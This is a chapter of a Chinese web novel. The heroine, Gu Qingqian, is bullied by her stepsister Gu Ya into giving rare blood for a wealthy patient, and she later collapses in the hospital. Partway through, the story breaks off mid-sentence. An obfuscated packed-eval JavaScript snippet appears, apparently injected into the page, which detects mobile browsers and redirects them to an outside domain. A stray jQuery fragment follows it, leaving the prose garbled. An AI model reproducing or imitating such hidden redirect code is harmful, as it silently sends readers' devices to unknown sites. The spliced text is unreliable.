30. 血库

作品:《假冒

    顾雅死死咬住嘴唇,指甲深深掐进掌心,这才忍住没有当场爆发。


    她动作极轻地走下楼,刚走两步嘴角勾起了一抹意味深长的笑容,她要赶紧和妈妈一起商量接下来的对策。


    顾清浅坐在梳妆台前,一旁的手机支架上放着一部正开着视频的手机。


    她对着镜子抹着口红,眉头微微皱起:“我都两周没理他了,现在突然找过去,目的也太明显了吧?”


    “那是你男朋友,有目的又怎么了!”容凡凑近镜头,语气满是无所谓:“而且你是为了你爸爸,情有可原对不对?”


    顾清浅对着镜子看了看自己,又确认了一遍:“你确定他今天在酒吧?”


    容凡坐直了些,语气笃定:“我那个联姻对象说的,今天他们圈子里的人都在那儿聚会,沈季泽肯定在。”


    顾清浅看着屏幕里的容凡,突然勾起嘴角,露出八卦的笑容:“哎,你不是一直讨厌你那个联姻对象吗?怎么现在还帮他说话了?”


    “谁帮他说话了!”容凡的脸颊瞬间泛起一丝红晕,眼神有些闪躲:“我就是……觉得他人长得还挺帅的,人也不算太讨厌。”


    顾清浅忍不住笑了起来,正想调侃她两句,却瞥见镜子里自己的口红涂得太浓,她又赶紧拿纸巾擦掉了些,重新细细涂抹。


    “浅浅,你还是别涂口红,你要学会扮可怜,这样才能激起男人的保护欲。”容凡摸了摸下巴道。


    顾清浅眼珠微转,略一思忖便点了头,乖乖听话地擦掉了唇上的口红。


    收拾停当,她拎着包走出房门,刚下到一楼,便与站在客厅里的方怡、顾雅撞了个正着。


    顾雅看向她的眼神里染着毫不掩饰的敌意,不等顾清浅反应,扬起手就狠狠甩了她一个耳光。


    顾清浅下意识地抬手想反击,可指尖还未触到顾雅的脸颊,对方却忽然勾起唇角,语气带着几分嘲弄:“顾清浅,你胆子挺大。”


    这句没头没尾的话让顾清浅的动作骤然顿住,心猛地一沉。


    她是不是知道了什么?


    悬在半空的手缓缓收回,她垂下眼帘,又恢复了往日的怯懦。


    方怡与顾雅交换了个眼神,眼底满是得逞的得意,几乎是同时,两人发出一声透着阴狠的笑。


    顾雅往前逼近一步,语气里带着试探:“我听说,你和沈季泽分手了?”


    顾清浅的指尖悄悄蜷缩起来,依旧低着头,一声不吭。


    “正好,你陪我去趟医院。”顾雅的语气不容置喙,目光死死锁着她,不给她拒绝的余地。


    顾清浅抿紧唇,心底翻涌着不情愿,下意识地往后退了退,想找个借口推脱。


    可顾雅却突然伸手,一把扣住她的下巴,强迫她抬头直视自己,威胁的意味溢于言表:“怎么,你不愿意?”


    “没有。”顾清浅的声音发颤,只能压下心底的不安,轻轻点了点头。


    顾雅满意地笑了,抬手拍了拍她的脸颊,目光在她身上扫了一圈:“先去量个体重吧?正好看看,你被沈季泽养得怎么样了。”


    不等顾清浅反抗,顾雅便揪着她的胳膊,强行把她拽到了体重秤上。


    盯着屏幕上跳出来的数字,顾雅嘴角的笑意更深了:“93斤,倒是没白吃,走吧。”


    车内,顾清浅趁着顾雅不注意,飞快地给容凡发了条消息:“凡凡,帮我个忙。”


    可消息刚发出去,顾雅就猛地夺过她的手机,眼神冷如寒潭:“我劝你最好别耍花招。”


    “我没有。”顾清浅慌忙摇头。


    顾雅将她的手机放在一边,出奇地和她聊起了天:“沈季泽挺喜欢你的?”


    “没有。”顾清浅依旧低着头,声音温吞得像一潭死水。


    顾雅皱了皱眉,又换了个角度试探:“那他为什么要为了你创办未至音乐?”


    “什么?”顾清浅猛地抬头,未至音乐是沈季泽为她创办的?这怎么可能?她强压下心头的波澜,轻声解释:“是未至音乐的负责人听到了我发的歌,和沈季泽没关系。”


    顾雅将信将疑,又追问道:“那沈季泽到底对你怎么样?”


    “就那样吧,忽远忽近的,说不准。”顾清浅含糊地应付着,不愿多提。


    车子驶进医院,顾清浅只觉得一阵头晕目眩,那种熟悉的不适感铺天盖地袭来。


    即便她刻意不去回想,过往那些糟糕的记忆,还是会顺着这股难受的感觉钻出来。


    她被顾雅拽着往住院部走,后者手里拎着大包小包精致的礼品和鲜花,走到一间病房门口,毫不客气地推门进去。


    偌大的病房干净整洁,里面坐着好几个人,江御也在其中。


    顾雅没理会江御,径直走到病床前,语气带着刻意的关切:“姐姐,听说你住院了,我心里急得不行,赶紧就过来了。”


    病床上的江栀先看了眼身旁的弟弟江御,又转向顾雅,声音虚弱:“雅雅,你不用这么麻烦。”


    “姐姐说的哪里话。”顾雅笑着把手里的鲜花递过去,话锋一转:“我怕医院血库紧张,特意把我妹妹带来了,她是熊猫血,正好能给姐姐备着。”


    这话一出,病房里的人都愣住了,纷纷看向顾雅。


    熊猫血有多稀缺,在场的人再清楚不过,若非如此,以江家的势力和财力,又怎么会让自家宝贝女儿常年被病痛缠着呢?


    江栀患有重度贫血,偏偏还是罕见的熊猫血,这些年江家砸了无数钱找血源,甚至试过不少极端的办法,可每次她住院,对江家人来说,依旧像一场艰难的硬仗。


    江母再也顾不上之前对顾雅的不满,急忙起身,语气满是迫切:“雅雅,可你妹妹之前……不是差点,医生说不能再捐了吗?”


    顾雅笑得温柔,眼底却没什么温度:“伯母,我和妹妹感情好,我的事就是她的事,您放心,不会有事的。”


    江御看向顾雅,语气带着感激:“雅雅,谢谢你。”


    顾雅却只是淡淡摇了摇头,语气若即


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298214|180464||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若离:“不用。”


    站在门口的顾清浅将这一切看在眼里,心底冷笑,顾雅这副惺惺作态的样子,还真是虚伪到了极致。


    抽血室里静得可怕,空气中弥漫着消毒酒精的刺鼻气味,顾清浅浑身紧绷着,指尖微微颤抖,连呼吸都放得极轻。


    “姑娘,你心肠真好,”护士戴着浅蓝色的口罩,露出的眼睛里满是温柔,一边熟练地准备器械,一边轻声叮嘱,“但你太瘦了,熊猫血本就珍贵,你自己也要注意,可不能经常来输血。”


    顾清浅轻轻点了点头,眼眶一瞬间就红了。


    和有着血缘关系的亲人相比,还不如一个素不相识的外人更关心她。


    说来也是讽刺。


    护士的手法很轻,针尖刺入皮肤时几乎没什么痛感,可看着自己的血液缓缓流进血袋,她的脸色几乎是一瞬间便变得苍白。


    抽完血,护士握着血袋,看着她摇摇欲坠的样子,急忙问道:“你没事吧?要不要先坐会儿?”


    顾清浅撑着桌子慢慢站起来,脑袋晕得厉害,却还是摇了摇头:“没事,谢谢。”


    刚走出抽血室,就看到顾雅和江御正迎面顺着走廊走来。


    江御看向顾清浅的眼神里带着复杂,他常听顾雅提起这个妹妹,却没想到她这么瘦弱,此刻脸色苍白得像张纸,看着就让人不忍。


    顾清浅看向顾雅,声音微弱:“姐姐,能送我回公司吗?”


    “自己回去。”顾雅的语气满是不耐烦,可当她看到护士手里的血袋时,脸上立刻换上了笑容,拉着江御就迎了上去,完全没再管顾清浅。


    “阿御,你快来。”


    江御回头看了一眼顾清浅,到底是没再搭理,跟着顾雅便走进最前方医生的办公室。


    顾清浅攥紧拳头,她拿出手机给容凡打了个电话,声音虚弱不已:“凡凡,你能来住院部接我一趟吗?”


    电话那头的容凡顿了顿,有些为难地说:“啊?我这会儿刚好没空……不然我让我朋友去接你?”


    “好,我在住院部一楼大厅等。”顾清浅轻声应下,挂了电话。


    电话另一头,容凡看着卡座旁已经猛地站起身、脸色慌张的沈季泽,连忙喊住他:“沈季泽!浅浅在医院住院部,你能不能去接她一下?她好像不太舒服!”


    沈季泽没说话,只是抓起外套,脚步匆匆地往门外走,连眉头都拧成了一团。


    看着他的背影,容凡立刻又给顾清浅打了回去,语气急切:“浅浅,你怎么会在住院部?是不是出什么事了?”


    “没事,就是有点晕。”顾清浅靠在大厅的柱子上,体力已经快撑不住了,声音轻得像一阵风。


    挂了电话,她扶着墙慢慢往电梯口走,刚走出电梯,眼前突然一黑,身体像没了骨头似的,不受控制地往地上倒去。


    在她昏倒前的最后一刻,她似乎看到一个挺拔高大的身影逆着光冲了过来。


    直到将她笼罩,她的视线也变得模糊不已。